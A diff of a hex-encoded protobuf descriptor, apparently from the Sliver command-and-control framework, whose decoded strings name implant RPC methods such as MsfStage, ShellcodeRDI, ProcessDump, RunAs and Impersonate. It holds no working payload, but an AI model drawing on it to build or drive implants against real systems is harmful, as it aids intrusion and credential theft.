0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, - 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, - 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, - 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, - 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, - 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, - 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, - 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, - 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, + 0x66, 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x37, + 0x0a, 0x08, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, + 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, + 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, + 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, + 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, + 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, + 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, + 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, + 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, + 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, + 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, + 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, - 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, - 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, - 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, - 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, - 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, - 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, - 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, - 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, - 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, - 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, - 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, - 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, - 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, - 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, - 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, - 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, - 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, - 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, - 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, - 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, - 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, - 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, - 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, - 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, - 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, - 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, - 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, - 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, - 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, - 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, 0x65, - 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, - 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, 0x65, - 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, 0x65, - 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, - 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, - 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x52, 0x65, 0x71, - 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, - 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x52, 0x75, 0x6e, 0x41, 0x73, - 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x75, 0x6e, 0x41, - 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x75, 0x6e, 0x41, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, - 0x6e, 0x61, 0x74, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x49, 0x6d, 0x70, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, + 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, + 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, + 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, + 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, + 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, + 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, + 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, + 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 